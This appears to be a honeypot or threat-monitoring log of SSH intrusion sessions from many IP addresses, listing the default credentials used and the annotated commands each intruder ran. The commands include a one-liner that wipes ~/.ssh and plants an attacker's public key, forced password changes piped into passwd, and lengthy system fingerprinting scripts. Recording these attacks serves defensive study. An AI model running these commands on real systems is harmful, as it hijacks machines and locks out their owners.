$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ gnarled_peak_root (150.5.128.93) โ€” Hong Kong, Hong Kong ยท 1 session ยท 20 cmds
2026-07-08 05:11 EDT ยท as admin/asdf1234
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "asdf1234\nIirKcoHYqVmA\nIirKcoHYqVmA"|passwd|bash โ†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\nIirKcoHYqVmA\nIirKcoHYqVmA"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\nIirKcoHYqVmA\nIirKcoHYqVmA\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ derelict_echo_root (197.5.145.150) โ€” Masakin, Tunisia ยท 1 session ยท 2 cmds
2026-07-08 05:09 EDT ยท as oracle/oracle
file attribute tampering โ†’ SSH key persistence (repeated file attribute tampering 3x)
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_lantern_root (218.15.121.54) โ€” Guangzhou, China ยท 1 session ยท 1 cmd
2026-07-08 03:52 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ zealous_panda_root_79 (120.53.15.79) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-08 02:32 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ crimson_star_root (72.17.34.38) โ€” Winter Park, United States ยท 1 session ยท 2 cmds
2026-07-08 02:21 EDT ยท as oracle/manager123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_lantern_root_129 (119.29.246.129) โ€” Guangzhou, China ยท 1 session ยท 1 cmd
2026-07-08 00:05 EDT ยท as root/12345678
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ placid_star_root_9 (165.154.235.9) โ€” Los Angeles, United States ยท 5 sessions ยท 28 cmds
2026-07-07 01:24 EDT ยท as admin/admin, oracle/!, oracle/123.com
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "admin\nfY4eWfzCq4L1\nfY4eWfzCq4L1"|
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—5
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—5
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin\nfY4eWfzCq4L1\nfY4eWfzCq4L1"|passwd|bash
$ Enter new UNIX password:
$ echo "admin\nfY4eWfzCq4L1\nfY4eWfzCq4L1\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ stoic_drifter_sol (154.116.254.157) โ€” Luanda, Angola ยท 3 sessions ยท 24 cmds
2026-07-05 04:49 EDT ยท as oracle/1234qwer, user/user
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\nLoiSC2AOhATm\nLoiSC2AOhATm"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nLoiSC2AOhATm\nLoiSC2AOhATm\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ glitchy_silk_root_228 (118.178.235.228) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-07-07 18:54 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ cryptic_peak_root (103.146.159.173) โ€” Sheung Wan, Hong Kong ยท 1 session ยท 20 cmds
2026-07-07 18:23 EDT ยท as ubuntu/1q2w3e4r
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "1q2w3e4r\nKDQcQzaCTb2A\nKDQcQzaCTb2A"|passwd|bash
$ Enter new UNIX password:
$ echo "1q2w3e4r\nKDQcQzaCTb2A\nKDQcQzaCTb2A\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ savage_ximen_root (61.223.72.230) โ€” Changhua, Taiwan ยท 3 sessions ยท 6 cmds
2026-07-07 16:16 EDT ยท as oracle/Admin123, oracle/ZAQ!xsw2, oracle/manager
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
๐ŸŽญ vapor_carnival_root (45.4.179.4) โ€” Igaci, Brazil ยท 1 session ยท 2 cmds
2026-07-07 16:13 EDT ยท as oracle/Pa$$w0rd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_lantern_root_204 (116.11.120.204) โ€” Liuzhou, China ยท 1 session ยท 1 cmd
2026-07-07 15:48 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ manic_carnival_root (177.126.132.44) โ€” Artur Nogueira, Brazil ยท 26 sessions ยท 26 cmds
2026-07-07 13:52 EDT ยท as admin/123456, admin/admin, deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—26
๐ŸŽญ obsidian_windmill_root_150 (2.57.122.150) โ€” Amsterdam, The Netherlands ยท 15 sessions ยท 135 cmds
2026-06-29 02:35 EDT ยท as admin/123456, admin/admin123, admin/password
PATH manipulation โ†’ OS fingerprinting via uname variants โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release โ†’ hardware architecture identification โ†’ system profiling for compatibility.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—6
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—15
$ /bin/uname -s -v -n -m 2 > /dev/null ร—15
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—15
$ busybox uname -s -v -n -m 2 > /dev/null ร—15
$ ( [ -f /proc/version ] ร—15
$ [ -f /proc/version ] ร—15
$ head -1 /proc/version | cut -d -f1 ร—15
$ [ -f /etc/os-release ] ร—15
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—9
๐ŸŽญ glitchy_pho_root (103.90.227.203) โ€” Quแบญn Phรบ Nhuแบญn, Vietnam ยท 1 session ยท 2 cmds
2026-07-07 14:44 EDT ยท as oracle/oraclepass
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_peak_root (154.221.20.92) โ€” Chai Wan, Hong Kong ยท 1 session ยท 2 cmds
2026-07-07 14:30 EDT ยท as oracle/oraclepass
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_bonsai_root (107.155.15.8) โ€” Tokyo, Japan ยท 1 session ยท 2 cmds
2026-07-07 13:24 EDT ยท as oracle/oracle123$
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_indus_root (160.187.180.146) โ€” Lahore, Pakistan ยท 1 session ยท 2 cmds
2026-07-07 13:21 EDT ยท as oracle/oracle123$
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brisk_boba_sol (114.34.106.146) โ€” New Taipei City, Taiwan ยท 2 sessions ยท 4 cmds
2026-07-05 04:35 EDT ยท as oracle/1234qwer, oracle/oracle123$
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ cryptic_dragon_root_8 (192.140.185.8) โ€” Shiyan, China ยท 1 session ยท 1 cmd
2026-07-07 04:46 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ unhinged_jade_root (117.50.51.198) โ€” Yangpu, China ยท 1 session ยท 20 cmds
2026-07-07 04:07 EDT ยท as ubuntu/ubuntu
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
